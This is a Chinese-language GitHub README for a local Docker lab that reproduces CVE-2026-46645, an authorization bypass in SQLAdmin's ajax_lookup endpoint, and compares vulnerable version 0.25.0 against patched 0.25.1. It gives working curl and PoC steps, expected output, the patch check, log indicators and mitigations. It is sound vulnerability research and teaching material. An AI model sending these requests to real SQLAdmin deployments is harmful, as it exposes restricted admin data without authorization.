rootdirective-sec/CVE-2026-46645-Analysis-Lab

GitHub: rootdirective-sec/CVE-2026-46645-Analysis-Lab

一个基于 Docker 的本地实验环境,用于复现和对比 SQLAdmin ajax_lookup 端点的授权绕过漏洞(CVE-2026-46645)及其补丁版本的行为差异。

Stars: 0 | Forks: 0

# CVE-2026-46645 - SQLAdmin ajax_lookup 授权绕过 ## 执行摘要 本仓库包含一个本地 Docker 实验环境,用于复现 CVE-2026-46645,这是一个影响 SQLAdmin 的 `ajax_lookup` endpoint 的授权绕过漏洞。 SQLAdmin 是一个用于 Starlette 和 FastAPI 应用程序中 SQLAlchemy 模型的管理界面。当应用程序使用 `is_accessible(request)` 限制 `ModelView` 时会出现漏洞行为,但 SQLAdmin 的 `ajax_lookup` 路由在返回查找结果之前并未强制执行相同的访问控制决策。 本实验对比了两个 SQLAdmin 版本: | 服务 | SQLAdmin 版本 | 用途 | URL | | --------- | ---------------: | ------------------------- | ----------------------- | | `vuln` | `0.25.0` | 漏洞目标 | `http://127.0.0.1:8001` | | `patched` | `0.25.1` | 补丁对比目标 | `http://127.0.0.1:8002` | 演示的漏洞利用链如下: ``` Authenticated low-privileged user → restricted SQLAdmin ModelView → ModelView.is_accessible(request) returns False → user directly requests the ajax_lookup endpoint → SQLAdmin 0.25.0 returns relationship lookup data → SQLAdmin 0.25.1 blocks the same request with HTTP 403 ``` 本实验有意使用简单的 `Report` / `SecretProject` 数据模型,以便于理解该授权绕过。这些模型名称并非漏洞的根本原因。它们仅用于创建受控的复现条件。 本实验仅用于受控的本地研究、源码级理解和作品集演示。 ## 已验证事实 | 声明 | 证据 | 如何在本实验中验证 | | --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- | | SQLAdmin 的 `ajax_lookup` endpoint 是受影响的组件。 | 公开的安全通告将受影响的 endpoint 格式描述为 `GET /{identity}/ajax/lookup?name=&term=`。 | 运行 PoC 并观察对 `/admin/report/ajax/lookup?name=project&term=Secret` 的请求。 | | SQLAdmin `0.25.0` 被用作存在漏洞的对比目标。 | 本实验在 `vuln` 容器中安装了 `sqladmin==0.25.0`。 | 运行 `docker compose exec -T vuln python -m pip show sqladmin`。 | | SQLAdmin `0.25.1` 被用作已修复的对比目标。 | 公开的安全通告和发布说明指出 `0.25.1` 是修复后的版本。 | 运行 `docker compose exec -T patched python -m pip show sqladmin`。 | | 根本原因在于 SQLAdmin 上游的 `Admin.ajax_lookup()` 路由。 | 补丁在 `ajax_lookup()` 中添加了缺失的身份验证和 `is_accessible(request)` 强制执行。 | 使用本 README 中的命令检查两个容器内部的 `Admin.ajax_lookup()`。 | | 本实验创建了一个受限的 `ModelView`。 | `ReportAdmin.is_accessible(request)` 有意返回 `False`。 | 检查 `app/main.py`。 | | PoC 使用已认证的 session。 | PoC 首先登录到 `/admin/login`,保留 session cookie,然后请求 `ajax_lookup`。 | 运行 `python3 poc/poc.py --base-url http://127.0.0.1:8001`。 | | 漏洞信号是数据暴露。 | SQLAdmin `0.25.0` 从受限视图中返回 HTTP 200 和 JSON 查找结果。 | 漏洞目标应返回 `Secret Project Alpha` 和 `Secret Project Beta`。 | | 补丁信号是拒绝访问。 | SQLAdmin `0.25.1` 对于相同的已认证请求返回 HTTP 403。 | 已修补的目标应返回 `403 Forbidden`。 | ## 假设与未知 本实验使用 `sqladmin==0.25.0` 作为漏洞基线,使用 `sqladmin==0.25.1` 作为补丁基线。 本实验重点关注以下授权绕过条件: ``` A user is authenticated, the target ModelView is not accessible, but ajax_lookup is requested directly. ``` 本实验并未尝试复现所有可能的 SQLAdmin 部署模式。它有意创建了一个带有一个受限管理员视图的小型 Starlette 应用程序,以便于验证漏洞版本和补丁版本之间的行为差异。 `Report` 和 `SecretProject` 模型是实验室专用对象。它们不是 SQLAdmin 本身的一部分。 PoC 不尝试权限提升、数据修改、session 窃取、外部回调、持久化或针对非实验系统的攻击。 ## 根本原因概述 根本原因在于 SQLAdmin 上游的 `Admin.ajax_lookup()` 路由,而不在本实验的应用程序代码中。 SQLAdmin 允许开发者通过重写以下方法来限制对管理员视图的访问: ``` ModelView.is_accessible(request) ``` 其他管理员路由应在允许请求继续之前强制执行此访问控制决策。例如,list、create、details、delete、edit 和 export 等路由会检查当前请求是否被允许访问目标 `ModelView`。 存在漏洞的 `ajax_lookup` 路由没有强制执行相同的访问控制决策。 `ajax_lookup` endpoint 被 SQLAdmin 的 `form_ajax_refs` 功能用于动态加载关系值。其 endpoint 格式为: ``` /admin//ajax/lookup?name=&term= ``` 在漏洞版本中,`ajax_lookup()` 解析目标 `ModelView`,从查询字符串中读取查找字段名称和搜索词,然后调用 AJAX 加载器并返回 JSON 结果。缺失的安全步骤是它没有首先验证当前请求是否被允许访问该 `ModelView`。 安全影响在于,通过常规 UI 路由阻止已认证用户访问受限管理员视图时,该用户仍然可以直接请求该视图的 AJAX 查找 endpoint 并接收关系查找数据。 SQLAdmin `0.25.1` 通过在 `ajax_lookup()` 内部强制执行访问控制修复了此问题。修补后的路由会检查 `model_view.is_accessible(request)`,并在无法访问目标视图时返回 HTTP 403。 本实验将 `ReportAdmin.is_accessible(request)` 定义为返回 `False` 仅是为了复现漏洞条件。实验代码不是根本原因。它是一个受控的测试工具,用于证明 SQLAdmin 上游的 `ajax_lookup()` 路由是否遵守访问控制决策。 预期的行为差异: ``` sqladmin 0.25.0 -> HTTP 200 with JSON lookup results sqladmin 0.25.1 -> HTTP 403 Forbidden ``` ## 源码补丁概述 有意义的上游补丁是向 `Admin.ajax_lookup()` 添加了身份验证和授权强制执行。 修补后的行为等效于: ``` @login_required async def ajax_lookup(self, request): identity = request.path_params["identity"] model_view = self._find_model_view(identity) if not model_view.is_accessible(request): raise HTTPException(status_code=403) name = request.query_params.get("name") term = request.query_params.get("term") ... ``` 关键的授权检查是: ``` if not model_view.is_accessible(request): raise HTTPException(status_code=403) ``` 本实验证明了此检查在漏洞版本中不存在,而在修补后的版本中存在。 ## 实验架构 本实验通过 Docker Compose 运行两个相互隔离的 Starlette 应用程序。 ``` . ├── app/ │ ├── __init__.py │ └── main.py ├── docker-compose.yml ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md ├── requirements/ │ ├── patched.txt │ └── vuln.txt └── vuln/ └── Dockerfile ``` 这两个服务运行相同的应用程序代码,但安装了不同的 SQLAdmin 版本: | 服务 | 包版本 | 端口映射 | | --------- | -----------------: | ------------------------ | | `vuln` | `sqladmin==0.25.0` | `127.0.0.1:8001 -> 8000` | | `patched` | `sqladmin==0.25.1` | `127.0.0.1:8002 -> 8000` | 该应用程序创建了两个 SQLAlchemy 模型: ``` SecretProject Report ``` `Report` 与 `SecretProject` 存在关联关系: ``` Report.project -> SecretProject ``` `ReportAdmin` 定义了一个 AJAX 关系查找: ``` form_ajax_refs = { "project": { "fields": ("name",), "order_by": "name", "limit": 10, } } ``` 受限的管理员视图如下: ``` class ReportAdmin(ModelView, model=Report): def is_accessible(self, request): return False ``` 这有意创造了测试 SQLAdmin 的 `ajax_lookup()` 路由是否强制执行 `is_accessible()` 所需的条件。 PoC 使用的漏洞 endpoint 为: ``` /admin/report/ajax/lookup?name=project&term=Secret ``` 默认的实验室凭据: ``` username: analyst password: lab-password ``` ## 环境要求 * Docker Desktop 或 Docker Engine * Docker Compose v2 * Python 3 * 宿主机上运行 PoC 所需的 Python `requests` 包 * 用于手动 HTTP 复现的 `curl` * 镜像构建期间需要访问互联网以从 PyPI 安装 Python 包 如有需要,在宿主机上安装 PoC 依赖项: ``` python3 -m pip install requests ``` ## 快速开始 构建并启动实验环境: ``` docker compose down --remove-orphans docker compose up --build -d ``` 检查容器状态: ``` docker compose ps ``` 预期的对外暴露服务: ``` Vulnerable target: http://127.0.0.1:8001 Patched target: http://127.0.0.1:8002 ``` 检查健康状态 endpoint: ``` curl -i http://127.0.0.1:8001/health curl -i http://127.0.0.1:8002/health ``` 两者都应返回: ``` {"status":"ok"} ``` 如果需要,可以在浏览器中打开管理员 UI: ``` http://127.0.0.1:8001/admin http://127.0.0.1:8002/admin ``` 登录凭据: ``` analyst / lab-password ``` ## PoC 使用说明 针对漏洞服务运行 PoC: ``` python3 poc/poc.py \ --base-url http://127.0.0.1:8001 \ --label "sqladmin 0.25.0 vulnerable" ``` 针对已修补的服务运行相同的 PoC: ``` python3 poc/poc.py \ --base-url http://127.0.0.1:8002 \ --label "sqladmin 0.25.1 patched" ``` PoC 执行以下步骤: ``` 1. Send POST /admin/login with the lab credentials. 2. Keep the returned session cookie. 3. Send GET /admin/report/ajax/lookup?name=project&term=Secret. 4. Print the HTTP status, content type, response body, and interpretation. ``` PoC 有意打印请求和响应流程,以便读者可以直观地看到授权绕过。 ## 使用 curl 手动复现 HTTP 请求 你可以在不使用 `poc/poc.py` 的情况下手动复现该漏洞。 当你想要展示确切的 HTTP 流程时,这非常有用: ``` login → save session cookie → send ajax_lookup request → compare vulnerable and patched responses ``` ### 漏洞目标 设置漏洞目标的 URL: ``` TARGET="http://127.0.0.1:8001" COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies" ``` 以实验室用户身份登录并保存 session cookie: ``` curl -i -s -L \ -c "$COOKIE_JAR" \ -b "$COOKIE_JAR" \ -X POST "$TARGET/admin/login" \ -d "username=analyst" \ -d "password=lab-password" ``` 发送受限的 `ajax_lookup` 请求: ``` curl -i -s \ -b "$COOKIE_JAR" \ "$TARGET/admin/report/ajax/lookup?name=project&term=Secret" ``` 预期的漏洞结果: ``` HTTP/1.1 200 OK content-type: application/json ``` 预期响应体: ``` { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] } ``` 这证实了漏洞行为,因为请求已通过身份验证,`ReportAdmin.is_accessible(request)` 返回 `False`,但 SQLAdmin `0.25.0` 仍然返回了查找数据。 ### 已修补目标 设置已修补目标的 URL: ``` TARGET="http://127.0.0.1:8002" COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies" ``` 以相同的实验室用户身份登录: ``` curl -i -s -L \ -c "$COOKIE_JAR" \ -b "$COOKIE_JAR" \ -X POST "$TARGET/admin/login" \ -d "username=analyst" \ -d "password=lab-password" ``` 发送相同的受限 `ajax_lookup` 请求: ``` curl -i -s \ -b "$COOKIE_JAR" \ "$TARGET/admin/report/ajax/lookup?name=project&term=Secret" ``` 预期的修补后结果: ``` HTTP/1.1 403 Forbidden ``` 这证实了修补后的行为,因为 SQLAdmin `0.25.1` 在 `ajax_lookup()` 内部强制执行了缺失的 `ModelView.is_accessible(request)` 检查。 ### 单行对比 漏洞服务: ``` curl -s -L \ -c /tmp/cve-2026-46645-vuln.cookies \ -b /tmp/cve-2026-46645-vuln.cookies \ -X POST http://127.0.0.1:8001/admin/login \ -d "username=analyst" \ -d "password=lab-password" >/dev/null && \ curl -i -s \ -b /tmp/cve-2026-46645-vuln.cookies \ "http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret" ``` 已修补服务: ``` curl -s -L \ -c /tmp/cve-2026-46645-patched.cookies \ -b /tmp/cve-2026-46645-patched.cookies \ -X POST http://127.0.0.1:8002/admin/login \ -d "username=analyst" \ -d "password=lab-password" >/dev/null && \ curl -i -s \ -b /tmp/cve-2026-46645-patched.cookies \ "http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret" ``` 预期对比结果: ``` sqladmin 0.25.0 -> HTTP 200 + JSON lookup results sqladmin 0.25.1 -> HTTP 403 Forbidden ``` ## 预期输出 漏洞目标: ``` ================================================================================ Target: sqladmin 0.25.0 vulnerable ================================================================================ Base URL : http://127.0.0.1:8001 Login URL : http://127.0.0.1:8001/admin/login Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup Lookup params : name='project', term='Secret' ================================================================================ Step 1 - Login as authenticated low-privileged user ================================================================================ Request: POST http://127.0.0.1:8001/admin/login form username='analyst' form password= Response: HTTP status : 200 Final URL : http://127.0.0.1:8001/admin/ Cookies : {'session': ''} ================================================================================ Step 2 - Send ajax_lookup request to restricted ModelView ================================================================================ Request: GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret Security condition: - The user is authenticated. - ReportAdmin.is_accessible(request) returns False. - A restricted admin ModelView should not expose lookup data. Response: HTTP status : 200 Content-Type : application/json Body: { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] } ================================================================================ Step 3 - Interpretation ================================================================================ [VULNERABLE SIGNAL] The restricted ajax_lookup endpoint returned HTTP 200 and JSON results. This means an authenticated user could query lookup data even though ReportAdmin.is_accessible(request) returned False. ``` 已修补目标: ``` ================================================================================ Target: sqladmin 0.25.1 patched ================================================================================ Base URL : http://127.0.0.1:8002 Login URL : http://127.0.0.1:8002/admin/login Lookup URL : http://127.0.0.1:8002/admin/report/ajax/lookup Lookup params : name='project', term='Secret' ================================================================================ Step 1 - Login as authenticated low-privileged user ================================================================================ Request: POST http://127.0.0.1:8002/admin/login form username='analyst' form password= Response: HTTP status : 200 Final URL : http://127.0.0.1:8002/admin/ Cookies : {'session': ''} ================================================================================ Step 2 - Send ajax_lookup request to restricted ModelView ================================================================================ Request: GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret Security condition: - The user is authenticated. - ReportAdmin.is_accessible(request) returns False. - A restricted admin ModelView should not expose lookup data. Response: HTTP status : 403 Content-Type : text/html; charset=utf-8 ================================================================================ Step 3 - Interpretation ================================================================================ [PATCHED SIGNAL] The restricted ajax_lookup endpoint returned HTTP 403. This matches the patched behavior introduced in SQLAdmin 0.25.1. ``` ## PoC 工作原理 PoC 使用 Python `requests` 库和持久的 `requests.Session()` 对象。 首先,它向 SQLAdmin 进行身份验证: ``` POST /admin/login ``` 使用的实验室凭据: ``` analyst / lab-password ``` 登录后,session 对象会保留返回的 session cookie。 然后,PoC 发送受限的 AJAX 查找请求: ``` GET /admin/report/ajax/lookup?name=project&term=Secret ``` 在实验室应用程序中,此请求针对的是 `ReportAdmin`。 `ReportAdmin` 被有意设置为不可访问: ``` def is_accessible(self, request): return False ``` 这是实验室设定的条件。它不是上游漏洞。 正在测试的安全问题是: ``` Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision? ``` 在 SQLAdmin `0.25.0` 上,该 endpoint 返回 HTTP 200 和 JSON 查找结果。这证实了漏洞行为。 在 SQLAdmin `0.25.1` 上,该 endpoint 返回 HTTP 403。这证实了修补后的行为。 ## 实用的验证命令 检查正在运行的容器: ``` docker compose ps ``` 检查服务日志: ``` docker compose logs vuln patched ``` 检查已安装的 SQLAdmin 版本: ``` docker compose exec -T vuln python -m pip show sqladmin docker compose exec -T patched python -m pip show sqladmin ``` 预期版本: ``` vuln -> Version: 0.25.0 patched -> Version: 0.25.1 ``` 再次运行 PoC: ``` python3 poc/poc.py \ --base-url http://127.0.0.1:8001 \ --label "sqladmin 0.25.0 vulnerable" ``` ``` python3 poc/poc.py \ --base-url http://127.0.0.1:8002 \ --label "sqladmin 0.25.1 patched" ``` 保存证据输出: ``` mkdir -p evidence python3 poc/poc.py \ --base-url http://127.0.0.1:8001 \ --label "sqladmin 0.25.0 vulnerable" \ | tee evidence/poc-vuln-0.25.0.txt python3 poc/poc.py \ --base-url http://127.0.0.1:8002 \ --label "sqladmin 0.25.1 patched" \ | tee evidence/poc-patched-0.25.1.txt docker compose ps | tee evidence/docker-compose-ps.txt docker compose logs vuln patched > evidence/docker-compose-logs.txt ``` 检查已安装的漏洞源码: ``` docker compose exec -T vuln python - <<'PY' import inspect import sqladmin.application print(sqladmin.application.__file__) print(inspect.getsource(sqladmin.application.Admin.ajax_lookup)) PY ``` 检查已安装的修补后源码: ``` docker compose exec -T patched python - <<'PY' import inspect import sqladmin.application print(sqladmin.application.__file__) print(inspect.getsource(sqladmin.application.Admin.ajax_lookup)) PY ``` 漏洞版本不应在 `ajax_lookup()` 内部强制执行 `model_view.is_accessible(request)`。 修补后的版本应包含等效于以下内容的授权检查: ``` if not model_view.is_accessible(request): raise HTTPException(status_code=403) ``` ## 检测与监控 在使用 SQLAdmin 的实际应用程序中,可疑活动可能表现为对 AJAX 查找 endpoint 的直接请求: ``` /admin//ajax/lookup?name=&term= ``` 对于本实验,有用的日志指标包括: ``` GET /admin/report/ajax/lookup?name=project&term=Secret ``` 预期的漏洞日志模式: ``` GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK ``` 预期的修补后日志模式: ``` GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden ``` 潜在的生产环境监控建议: * 审查对 `/ajax/lookup` endpoint 的直接访问, * 将查找访问与预期的管理员 UI 工作流进行比较, * 监控来自低权限账户的重复查找词, * 审查敏感的 `ModelView` 类是否使用了 `form_ajax_refs`, * 验证受限的模型视图是否仍然通过关系查找暴露。 ## 缓解措施与补丁说明 将 SQLAdmin 升级到 `0.25.1` 或更高版本。 该补丁在 `ajax_lookup` 路由中添加了缺失的访问控制强制执行。修补后的 endpoint 会检查当前请求是否被允许访问目标 `ModelView`。如果 `is_accessible(request)` 返回 `False`,请求将被阻止并返回 HTTP 403。 应用层面的加固建议: * 将 SQLAdmin 升级到修补后的版本, * 审查所有自定义的 `ModelView.is_accessible()` 实现, * 除非必要,否则避免通过 `form_ajax_refs` 暴露敏感的关系查找, * 通过常规 UI 路由和 AJAX 查找路由测试受限的管理员视图, * 监控对 `/admin/*/ajax/lookup` endpoint 的访问, * 确保正确配置管理员身份和 session 处理。 ## 清理 停止并移除容器和网络: ``` docker compose down --remove-orphans ``` 移除容器、网络和匿名卷: ``` docker compose down -v --remove-orphans ``` 如果需要,移除本地构建的镜像: ``` docker image rm \ cve-2026-46645-sqladmin-vuln:0.25.0 \ cve-2026-46645-sqladmin-patched:0.25.1 \ 2>/dev/null || true ``` 如果需要,移除证据文件: ``` rm -rf evidence/ ``` ## 安全边界 本实验仅用于本地安全研究和受控的演示。 请勿对你不拥有或未经许可测试的系统运行 PoC。 请勿在本实验中使用真实的凭据、生产环境机密或外部目标。 PoC 被限制为仅针对本地的 Docker 服务,例如: ``` http://127.0.0.1:8001 http://127.0.0.1:8002 ``` PoC 不包含用于凭据窃取、数据修改、持久化、横向移动或外部回调的 payload。 目标是在受控环境中演示一种特定的授权绕过情况: ``` authenticated user + restricted ModelView + ajax_lookup request + vulnerable version returns data + patched version returns 403 ``` ## 参考链接 - GitHub Advisory Database: SQLAdmin Authorization Bypass on ajax_lookup https://github.com/advisories/GHSA-54mc-gghv-4cfj - OSV Advisory: GHSA-54mc-gghv-4cfj / CVE-2026-46645 https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj - SQLAdmin Release 0.25.1 https://github.com/smithyhq/sqladmin/releases/tag/0.25.1 - SQLAdmin Compare: 0.25.0 to 0.25.1 https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1 - SQLAdmin 0.25.0 application.py https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py - SQLAdmin 0.25.1 application.py https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py - SQLAdmin Authentication Tests https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py - SQLAdmin AJAX Tests https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py - PyPI: sqladmin https://pypi.org/project/sqladmin/ - SQLAdmin GitHub Repository https://github.com/smithyhq/sqladmin
标签:AV绕过, CISA项目, Docker靶场, FastAPI, 安全漏洞复现, 版权保护, 请求拦截, 越权漏洞, 逆向工具